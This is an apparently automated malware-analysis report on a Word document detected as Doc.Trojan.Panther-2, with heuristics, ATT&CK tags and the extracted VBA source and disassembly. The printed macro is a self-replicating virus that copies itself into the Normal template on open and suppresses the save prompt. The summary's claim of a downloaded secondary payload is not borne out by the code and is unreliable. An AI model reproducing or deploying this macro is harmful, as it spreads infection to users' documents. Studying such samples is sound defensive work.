MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains VBA macros, specifically a Document_Open macro designed to execute code when the document is opened. The ClamAV detection 'Doc.Trojan.Panther-2' strongly suggests malicious intent, likely involving the download and execution of a secondary payload. The macro's logic appears to manipulate template code, a common technique for obfuscation or payload delivery.
Heuristics 3
-
ClamAV: Doc.Trojan.Panther-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Panther-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5119 bytes |
SHA-256: 1bbba509b6c6407bcdc4887245035ec7035293e14d6298a723f1d0df2bebfa70 |
|||
|
Detection
ClamAV:
Doc.Trojan.Panther-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Sub DisableAV()
j = 1
k = 1
t = 0
Do While Not EOF(1)
Line Input #1, a
If t = 1 Or t = 3 Then
End Sub
Private Sub Document_Open()
Dim code As String
If Left$(NormalTemplate.Name, 8) <> "Document" Then
Options.VirusProtection = True
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
code = .Lines(1, .CountOfLines)
ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
ReplaceTemplate code, "Active", "Document", "Normal", "Template"
ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
.DeleteLines 1, .CountOfLines
.AddFromString code
End With
End With
Options.SaveNormalPrompt = False
If InStr("NormalTemplate", "Document") > 0 Then
End If
End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String)
Dim index As Long, pre As String, post As String, preLen As Long
pre = prepre + prepost
post = postpre + postpost
index = 1
preLen = Len(pre)
While InStr(index, target, pre) <> 0
index = InStr(index, target, pre)
target = Left(target, index - 1) + post + Mid$(target, index + preLen)
index = index + 1
Wend
End Sub
' Processing file: /opt/analyzer/scan_staging/785b8d337b9845ed8200dbb89688f7c6.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3364 bytes
' Line #0:
' FuncDefn (Public Sub DisableAV())
' Line #1:
' LitDI2 0x0001
' St j
' Line #2:
' LitDI2 0x0001
' St k
' Line #3:
' LitDI2 0x0000
' St t
' Line #4:
' LitDI2 0x0001
' ArgsLd EOF 0x0001
' Not
' DoWhile
' Line #5:
' LitDI2 0x0001
' Ld a
' LineInput
' Line #6:
' Ld t
' LitDI2 0x0001
' Eq
' Ld t
' LitDI2 0x0003
' Eq
' Or
' IfBlock
' Line #7:
' EndSub
' Line #8:
' FuncDefn (Private Sub Document_Open())
' Line #9:
' Dim
' VarDefn code (As String)
' Line #10:
' Ld NormalTemplate
' MemLd New
' LitDI2 0x0008
' ArgsLd LBound$ 0x0002
' LitStr 0x0008 "Document"
' Ne
' IfBlock
' Line #11:
' LitVarSpecial (True)
' Ld Options
' MemSt VirusProtection
' Line #12:
' StartWithExpr
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' With
' Line #13:
' LitDI2 0x0001
' MemLdWith CountOfLines
' ArgsMemLdWith Lines 0x0002
' St code
' Line #14:
' Ld code
' LitStr 0x0006 "Normal"
' LitStr 0x0008 "Template"
' LitStr 0x0005 "Happy"
' LitStr 0x0007 "Panther"
' ArgsCall ReplaceTemplate 0x0005
' Line #15:
' Ld code
' LitStr 0x0006 "Active"
' LitStr 0x0008 "Document"
' LitStr 0x0006 "Normal"
' LitStr 0x0008 "Template"
' ArgsCall ReplaceTemplate 0x0005
' Line #16:
' Ld code
' LitStr 0x0005 "Happy"
' LitStr 0x0007 "Panther"
' LitStr 0x0006 "Active"
' LitStr 0x0008 "Document"
' ArgsCall ReplaceTemplate 0x0005
' Line #17:
' StartWithExpr
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' With
' Line #18:
' LitDI2 0x0001
' MemLdWith CountOfLines
' ArgsMemCallWith DeleteLines 0x0002
' Line #19:
' Ld code
' ArgsMemCallWith AddFromString 0x0001
' Line #20:
' EndWith
' Line #21:
' EndWith
' Line #22:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #23:
' LitStr 0x000E "NormalTemplate"
' LitStr 0x0008 "Document"
' FnInStr
' LitDI2 0x0000
' Gt
' IfBlock
' Line #24:
' EndIfBlock
' Line #25:
' EndIfBlock
' Line #26:
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.